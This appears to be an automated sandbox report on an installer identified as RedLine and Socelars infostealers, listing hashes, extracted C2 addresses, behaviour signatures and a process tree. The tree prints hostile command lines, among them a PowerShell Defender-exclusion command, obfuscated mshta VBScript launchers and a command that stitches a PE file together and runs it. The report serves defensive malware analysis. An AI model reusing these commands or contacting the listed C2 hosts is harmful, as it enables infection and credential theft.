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Resubmissions

11/10/2021, 20:45

211011-zjxjlsabbm 10

11/10/2021, 13:10

211011-qegsxshcfp 10

11/10/2021, 10:55

211011-mz7y3ahaak 10

10/10/2021, 19:24

211010-x4mtssgae2 10

Analysis

  • max time kernel
    86s
  • max time network
    1799s
  • platform
    windows7_x64
  • resource
    win7-ja-20210920
  • submitted
    11/10/2021, 13:10

General

  • Target

    setup_x86_x64_install.exe

  • Size

    3.9MB

  • MD5

    a4d23ac3c7172b9aa02e35b6bf0fd21f

  • SHA1

    0326aab7deddfefc048c9a67ac9ce4ee14ea9003

  • SHA256

    9bd142ecfe89857de80bb3255a1655f680ca6451b45cca235096dc1c1285e806

  • SHA512

    9e425d8a1beaeabfc983bb75a7a5f8a8c0823e825e9f66e17b0f515b2897da9f2d9b2f1aa9939fdbae6c826c2c730d3bc772abec9e35a61d3d73a6cdb87ddf10

Malware Config

Extracted

Family

redline

Botnet

she

C2

135.181.129.119:4805

Extracted

Family

redline

Botnet

ANI

C2

45.142.215.47:27643

Signatures

  • Modifies Windows Defender Real-time Protection settings 3 TTPs
  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • RedLine Payload 7 IoCs
  • Socelars

    Socelars is an infostealer targeting browser cookies and credit card credentials.

  • Socelars Payload 3 IoCs
  • suricata: ET MALWARE GCleaner Downloader Activity M5

    suricata: ET MALWARE GCleaner Downloader Activity M5

  • ASPack v2.12-2.42 6 IoCs

    Detects executables packed with ASPack v2.12-2.42

  • Downloads MZ/PE file
  • Executes dropped EXE 17 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Loads dropped DLL 63 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs
  • Looks up external IP address via web service 3 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Checks SCSI registry key(s) 3 TTPs 3 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Kills process with taskkill 2 IoCs
  • Modifies system certificate store 2 TTPs 3 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: MapViewOfSection 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 45 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SendNotifyMessage 2 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\setup_x86_x64_install.exe
    "C:\Users\Admin\AppData\Local\Temp\setup_x86_x64_install.exe"
    1⤵
    • Loads dropped DLL
    • Suspicious use of WriteProcessMemory
    PID:1512
    • C:\Users\Admin\AppData\Local\Temp\setup_installer.exe
      "C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • Suspicious use of WriteProcessMemory
      PID:1600
      • C:\Users\Admin\AppData\Local\Temp\7zS046A1046\setup_install.exe
        "C:\Users\Admin\AppData\Local\Temp\7zS046A1046\setup_install.exe"
        3⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • Suspicious use of WriteProcessMemory
        PID:1888
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
          4⤵
            PID:1940
          • C:\Windows\SysWOW64\cmd.exe
            C:\Windows\system32\cmd.exe /c Sun152bab5a2de.exe
            4⤵
            • Loads dropped DLL
            • Suspicious use of WriteProcessMemory
            PID:1764
            • C:\Users\Admin\AppData\Local\Temp\7zS046A1046\Sun152bab5a2de.exe
              Sun152bab5a2de.exe
              5⤵
              • Executes dropped EXE
              • Loads dropped DLL
              • Modifies system certificate store
              PID:864
          • C:\Windows\SysWOW64\cmd.exe
            C:\Windows\system32\cmd.exe /c Sun15901f2f025e.exe
            4⤵
            • Loads dropped DLL
            • Suspicious use of WriteProcessMemory
            PID:604
            • C:\Users\Admin\AppData\Local\Temp\7zS046A1046\Sun15901f2f025e.exe
              Sun15901f2f025e.exe
              5⤵
              • Executes dropped EXE
              • Loads dropped DLL
              • Suspicious use of AdjustPrivilegeToken
              PID:1544
              • C:\Windows\SysWOW64\WerFault.exe
                C:\Windows\SysWOW64\WerFault.exe -u -p 1544 -s 620
                6⤵
                • Loads dropped DLL
                • Program crash
                • Suspicious use of AdjustPrivilegeToken
                PID:2748
          • C:\Windows\SysWOW64\cmd.exe
            C:\Windows\system32\cmd.exe /c Sun15dbd675f871ca.exe
            4⤵
            • Loads dropped DLL
            PID:1656
            • C:\Users\Admin\AppData\Local\Temp\7zS046A1046\Sun15dbd675f871ca.exe
              Sun15dbd675f871ca.exe
              5⤵
              • Executes dropped EXE
              • Checks computer location settings
              • Loads dropped DLL
              • Suspicious behavior: EnumeratesProcesses
              PID:960
              • C:\Users\Admin\Pictures\Adobe Films\YMcnsWTc3JlIWelrDcDBH3du.exe
                "C:\Users\Admin\Pictures\Adobe Films\YMcnsWTc3JlIWelrDcDBH3du.exe"
                6⤵
                • Executes dropped EXE
                • Suspicious behavior: EnumeratesProcesses
                PID:1736
              • C:\Windows\SysWOW64\WerFault.exe
                C:\Windows\SysWOW64\WerFault.exe -u -p 960 -s 1456
                6⤵
                • Loads dropped DLL
                • Program crash
                • Suspicious use of AdjustPrivilegeToken
                PID:2420
          • C:\Windows\SysWOW64\cmd.exe
            C:\Windows\system32\cmd.exe /c Sun15f67075f27a2b5b.exe
            4⤵
            • Loads dropped DLL
            PID:972
            • C:\Users\Admin\AppData\Local\Temp\7zS046A1046\Sun15f67075f27a2b5b.exe
              Sun15f67075f27a2b5b.exe
              5⤵
              • Executes dropped EXE
              • Suspicious use of AdjustPrivilegeToken
              PID:1120
              • C:\Users\Admin\AppData\Roaming\8357643.scr
                "C:\Users\Admin\AppData\Roaming\8357643.scr" /S
                6⤵
                • Executes dropped EXE
                PID:2908
              • C:\Users\Admin\AppData\Roaming\4265188.scr
                "C:\Users\Admin\AppData\Roaming\4265188.scr" /S
                6⤵
                  PID:2944
                  • C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe
                    "C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"
                    7⤵
                      PID:2428
                  • C:\Users\Admin\AppData\Roaming\6965491.scr
                    "C:\Users\Admin\AppData\Roaming\6965491.scr" /S
                    6⤵
                      PID:3024
                    • C:\Users\Admin\AppData\Roaming\2714541.scr
                      "C:\Users\Admin\AppData\Roaming\2714541.scr" /S
                      6⤵
                        PID:2096
                  • C:\Windows\SysWOW64\cmd.exe
                    C:\Windows\system32\cmd.exe /c Sun1577c3e159a3e3815.exe /mixone
                    4⤵
                    • Loads dropped DLL
                    PID:1984
                    • C:\Users\Admin\AppData\Local\Temp\7zS046A1046\Sun1577c3e159a3e3815.exe
                      Sun1577c3e159a3e3815.exe /mixone
                      5⤵
                      • Executes dropped EXE
                      • Loads dropped DLL
                      PID:288
                      • C:\Windows\SysWOW64\cmd.exe
                        "C:\Windows\System32\cmd.exe" /c taskkill /im "Sun1577c3e159a3e3815.exe" /f & erase "C:\Users\Admin\AppData\Local\Temp\7zS046A1046\Sun1577c3e159a3e3815.exe" & exit
                        6⤵
                          PID:2552
                          • C:\Windows\SysWOW64\taskkill.exe
                            taskkill /im "Sun1577c3e159a3e3815.exe" /f
                            7⤵
                            • Kills process with taskkill
                            PID:2016
                    • C:\Windows\SysWOW64\cmd.exe
                      C:\Windows\system32\cmd.exe /c Sun15f1b1f8c669.exe
                      4⤵
                      • Loads dropped DLL
                      PID:1312
                      • C:\Users\Admin\AppData\Local\Temp\7zS046A1046\Sun15f1b1f8c669.exe
                        Sun15f1b1f8c669.exe
                        5⤵
                        • Executes dropped EXE
                        • Loads dropped DLL
                        • Suspicious use of AdjustPrivilegeToken
                        PID:1568
                    • C:\Windows\SysWOW64\cmd.exe
                      C:\Windows\system32\cmd.exe /c Sun158d8ef840.exe
                      4⤵
                      • Loads dropped DLL
                      PID:1168
                      • C:\Users\Admin\AppData\Local\Temp\7zS046A1046\Sun158d8ef840.exe
                        Sun158d8ef840.exe
                        5⤵
                        • Executes dropped EXE
                        • Loads dropped DLL
                        PID:600
                        • C:\Windows\SysWOW64\mshta.exe
                          "C:\Windows\System32\mshta.exe" VbsCRiPT: cLosE (CrEaTeOBJeCt ( "WScrIPT.SheLL" ).RuN ( "CMD.exe /c copy /y ""C:\Users\Admin\AppData\Local\Temp\7zS046A1046\Sun158d8ef840.exe"" 09xU.exE && STarT 09xU.EXE -pPtzyIkqLZoCarb5ew & If """" =="""" for %U iN ( ""C:\Users\Admin\AppData\Local\Temp\7zS046A1046\Sun158d8ef840.exe"" ) do taskkill /F -Im ""%~NxU"" " , 0 , tRUe) )
                          6⤵
                            PID:1428
                            • C:\Windows\SysWOW64\cmd.exe
                              "C:\Windows\System32\cmd.exe" /c copy /y "C:\Users\Admin\AppData\Local\Temp\7zS046A1046\Sun158d8ef840.exe" 09xU.exE && STarT 09xU.EXE -pPtzyIkqLZoCarb5ew & If "" =="" for %U iN ( "C:\Users\Admin\AppData\Local\Temp\7zS046A1046\Sun158d8ef840.exe" ) do taskkill /F -Im "%~NxU"
                              7⤵
                              • Loads dropped DLL
                              PID:2100
                              • C:\Users\Admin\AppData\Local\Temp\09xU.exE
                                09xU.EXE -pPtzyIkqLZoCarb5ew
                                8⤵
                                • Executes dropped EXE
                                • Loads dropped DLL
                                PID:2188
                                • C:\Windows\SysWOW64\mshta.exe
                                  "C:\Windows\System32\mshta.exe" VbsCRiPT: cLosE (CrEaTeOBJeCt ( "WScrIPT.SheLL" ).RuN ( "CMD.exe /c copy /y ""C:\Users\Admin\AppData\Local\Temp\09xU.exE"" 09xU.exE && STarT 09xU.EXE -pPtzyIkqLZoCarb5ew & If ""-pPtzyIkqLZoCarb5ew "" =="""" for %U iN ( ""C:\Users\Admin\AppData\Local\Temp\09xU.exE"" ) do taskkill /F -Im ""%~NxU"" " , 0 , tRUe) )
                                  9⤵
                                    PID:2436
                                    • C:\Windows\SysWOW64\cmd.exe
                                      "C:\Windows\System32\cmd.exe" /c copy /y "C:\Users\Admin\AppData\Local\Temp\09xU.exE" 09xU.exE && STarT 09xU.EXE -pPtzyIkqLZoCarb5ew & If "-pPtzyIkqLZoCarb5ew " =="" for %U iN ( "C:\Users\Admin\AppData\Local\Temp\09xU.exE" ) do taskkill /F -Im "%~NxU"
                                      10⤵
                                        PID:2604
                                    • C:\Windows\SysWOW64\mshta.exe
                                      "C:\Windows\System32\mshta.exe" vbScRipT: cloSE ( creAteobjECT ( "WscriPT.SHell" ). RuN ( "cMd.exE /Q /r eCHO | SET /P = ""MZ"" > ScMeAP.SU & CoPY /b /Y ScMeAp.SU + 20L2VNO.2 + gUVIl5.SCH + 7TCInEJp.0 + yKIfDQA.1 r6f7sE.I & StART control .\R6f7sE.I " , 0 ,TRuE ) )
                                      9⤵
                                        PID:2724
                                        • C:\Windows\SysWOW64\cmd.exe
                                          "C:\Windows\System32\cmd.exe" /Q /r eCHO | SET /P = "MZ" > ScMeAP.SU &CoPY /b /Y ScMeAp.SU + 20L2VNO.2 + gUVIl5.SCH + 7TCInEJp.0 + yKIfDQA.1 r6f7sE.I& StART control .\R6f7sE.I
                                          10⤵
                                            PID:2856
                                      • C:\Windows\SysWOW64\taskkill.exe
                                        taskkill /F -Im "Sun158d8ef840.exe"
                                        8⤵
                                        • Kills process with taskkill
                                        • Suspicious use of AdjustPrivilegeToken
                                        PID:2212
                              • C:\Windows\SysWOW64\cmd.exe
                                C:\Windows\system32\cmd.exe /c Sun152e52d07b74d9b5.exe
                                4⤵
                                • Loads dropped DLL
                                PID:1164
                                • C:\Users\Admin\AppData\Local\Temp\7zS046A1046\Sun152e52d07b74d9b5.exe
                                  Sun152e52d07b74d9b5.exe
                                  5⤵
                                  • Executes dropped EXE
                                  • Suspicious use of AdjustPrivilegeToken
                                  PID:1664
                              • C:\Windows\SysWOW64\cmd.exe
                                C:\Windows\system32\cmd.exe /c Sun1507db358fce61c0b.exe
                                4⤵
                                • Loads dropped DLL
                                PID:2036
                                • C:\Users\Admin\AppData\Local\Temp\7zS046A1046\Sun1507db358fce61c0b.exe
                                  Sun1507db358fce61c0b.exe
                                  5⤵
                                  • Executes dropped EXE
                                  • Loads dropped DLL
                                  • Checks SCSI registry key(s)
                                  • Suspicious behavior: EnumeratesProcesses
                                  • Suspicious behavior: MapViewOfSection
                                  PID:1648
                              • C:\Windows\SysWOW64\cmd.exe
                                C:\Windows\system32\cmd.exe /c Sun152bea652bd7232.exe
                                4⤵
                                • Loads dropped DLL
                                PID:1640
                              • C:\Windows\SysWOW64\cmd.exe
                                C:\Windows\system32\cmd.exe /c Sun159ff1acacf.exe
                                4⤵
                                • Loads dropped DLL
                                PID:1584
                        • C:\Users\Admin\AppData\Local\Temp\7zS046A1046\Sun159ff1acacf.exe
                          Sun159ff1acacf.exe
                          1⤵
                          • Executes dropped EXE
                          • Loads dropped DLL
                          • Suspicious use of SetThreadContext
                          PID:1944
                          • C:\Users\Admin\AppData\Local\Temp\7zS046A1046\Sun159ff1acacf.exe
                            C:\Users\Admin\AppData\Local\Temp\7zS046A1046\Sun159ff1acacf.exe
                            2⤵
                            • Executes dropped EXE
                            • Loads dropped DLL
                            • Suspicious use of AdjustPrivilegeToken
                            PID:556
                        • C:\Users\Admin\AppData\Local\Temp\7zS046A1046\Sun152bea652bd7232.exe
                          Sun152bea652bd7232.exe
                          1⤵
                          • Executes dropped EXE
                          PID:1000
                        • C:\Windows\system32\taskeng.exe
                          taskeng.exe {AB81E1AF-41BF-4B66-8843-98D41ED46418} S-1-5-21-3456797065-1076791440-4146276586-1000:JZCKHXIN\Admin:Interactive:[1]
                          1⤵
                            PID:1032
                            • C:\Users\Admin\AppData\Roaming\atcdjiu
                              C:\Users\Admin\AppData\Roaming\atcdjiu
                              2⤵
                                PID:588
                              • C:\Program Files\Mozilla Firefox\default-browser-agent.exe
                                "C:\Program Files\Mozilla Firefox\default-browser-agent.exe" do-task
                                2⤵
                                  PID:2108
                                • C:\Program Files\Mozilla Firefox\default-browser-agent.exe
                                  "C:\Program Files\Mozilla Firefox\default-browser-agent.exe" do-task
                                  2⤵
                                    PID:2628
                                  • C:\Users\Admin\AppData\Roaming\atcdjiu
                                    C:\Users\Admin\AppData\Roaming\atcdjiu
                                    2⤵
                                      PID:432
                                  • C:\Windows\system32\taskeng.exe
                                    taskeng.exe {564FC99C-9676-4FF2-A4CC-CD9EEB987908} S-1-5-18:NT AUTHORITY\System:Service:
                                    1⤵
                                      PID:2844
                                    • C:\Windows\system32\taskeng.exe
                                      taskeng.exe {383458F6-680D-42FD-9043-43E60D0C637D} S-1-5-18:NT AUTHORITY\System:Service:
                                      1⤵
                                        PID:1316
                                      • C:\Windows\system32\taskeng.exe
                                        taskeng.exe {8144F8EB-0E9C-44FB-A279-A5E6331F7A5F} S-1-5-21-3456797065-1076791440-4146276586-1000:JZCKHXIN\Admin:Interactive:[1]
                                        1⤵
                                          PID:2648
                                          • C:\Users\Admin\AppData\Roaming\atcdjiu
                                            C:\Users\Admin\AppData\Roaming\atcdjiu
                                            2⤵
                                              PID:668

                                          Network

                                          MITRE ATT&CK Enterprise v6

                                          Replay Monitor

                                          Loading Replay Monitor...

                                          Downloads

                                          • memory/288-181-0x00000000018A0000-0x00000000018C9000-memory.dmp

                                            Filesize

                                            164KB

                                          • memory/556-201-0x0000000000400000-0x0000000000422000-memory.dmp

                                            Filesize

                                            136KB

                                          • memory/556-207-0x0000000000400000-0x0000000000422000-memory.dmp

                                            Filesize

                                            136KB

                                          • memory/556-199-0x0000000000400000-0x0000000000422000-memory.dmp

                                            Filesize

                                            136KB

                                          • memory/556-202-0x0000000000400000-0x0000000000422000-memory.dmp

                                            Filesize

                                            136KB

                                          • memory/556-200-0x0000000000400000-0x0000000000422000-memory.dmp

                                            Filesize

                                            136KB

                                          • memory/556-203-0x0000000000400000-0x0000000000422000-memory.dmp

                                            Filesize

                                            136KB

                                          • memory/1120-197-0x0000000000440000-0x0000000000441000-memory.dmp

                                            Filesize

                                            4KB

                                          • memory/1120-194-0x0000000000E90000-0x0000000000E91000-memory.dmp

                                            Filesize

                                            4KB

                                          • memory/1512-54-0x0000000074E31000-0x0000000074E33000-memory.dmp

                                            Filesize

                                            8KB

                                          • memory/1568-189-0x0000000005DB1000-0x0000000005DB2000-memory.dmp

                                            Filesize

                                            4KB

                                          • memory/1568-192-0x0000000001E10000-0x0000000001E2D000-memory.dmp

                                            Filesize

                                            116KB

                                          • memory/1568-185-0x0000000000400000-0x00000000016E0000-memory.dmp

                                            Filesize

                                            18.9MB

                                          • memory/1568-184-0x0000000000250000-0x0000000000280000-memory.dmp

                                            Filesize

                                            192KB

                                          • memory/1568-188-0x0000000001D80000-0x0000000001D9F000-memory.dmp

                                            Filesize

                                            124KB

                                          • memory/1568-180-0x0000000001860000-0x0000000001883000-memory.dmp

                                            Filesize

                                            140KB

                                          • memory/1648-183-0x00000000017B0000-0x00000000017C0000-memory.dmp

                                            Filesize

                                            64KB

                                          • memory/1664-193-0x0000000001280000-0x0000000001281000-memory.dmp

                                            Filesize

                                            4KB

                                          • memory/1888-88-0x0000000064940000-0x0000000064959000-memory.dmp

                                            Filesize

                                            100KB

                                          • memory/1888-89-0x000000006FE40000-0x000000006FFC6000-memory.dmp

                                            Filesize

                                            1.5MB

                                          • memory/1888-83-0x000000006B440000-0x000000006B4CF000-memory.dmp

                                            Filesize

                                            572KB

                                          • memory/1888-96-0x000000006B440000-0x000000006B4CF000-memory.dmp

                                            Filesize

                                            572KB

                                          • memory/1888-93-0x0000000064940000-0x0000000064959000-memory.dmp

                                            Filesize

                                            100KB

                                          • memory/1888-95-0x000000006B280000-0x000000006B2A6000-memory.dmp

                                            Filesize

                                            152KB

                                          • memory/1888-97-0x000000006FE40000-0x000000006FFC6000-memory.dmp

                                            Filesize

                                            1.5MB

                                          • memory/1888-94-0x000000006B280000-0x000000006B2A6000-memory.dmp

                                            Filesize

                                            152KB

                                          • memory/1888-92-0x0000000064940000-0x0000000064959000-memory.dmp

                                            Filesize

                                            100KB

                                          • memory/1888-90-0x0000000064940000-0x0000000064959000-memory.dmp

                                            Filesize

                                            100KB

                                          • memory/1888-91-0x000000006FE40000-0x000000006FFC6000-memory.dmp

                                            Filesize

                                            1.5MB

                                          • memory/1888-84-0x000000006B440000-0x000000006B4CF000-memory.dmp

                                            Filesize

                                            572KB

                                          • memory/1888-85-0x000000006B440000-0x000000006B4CF000-memory.dmp

                                            Filesize

                                            572KB

                                          • memory/1888-86-0x000000006FE40000-0x000000006FFC6000-memory.dmp

                                            Filesize

                                            1.5MB

                                          • memory/1888-87-0x000000006FE40000-0x000000006FFC6000-memory.dmp

                                            Filesize

                                            1.5MB

                                          • memory/1944-186-0x0000000000050000-0x0000000000051000-memory.dmp

                                            Filesize

                                            4KB

                                          • memory/2944-230-0x0000000001320000-0x0000000001321000-memory.dmp

                                            Filesize

                                            4KB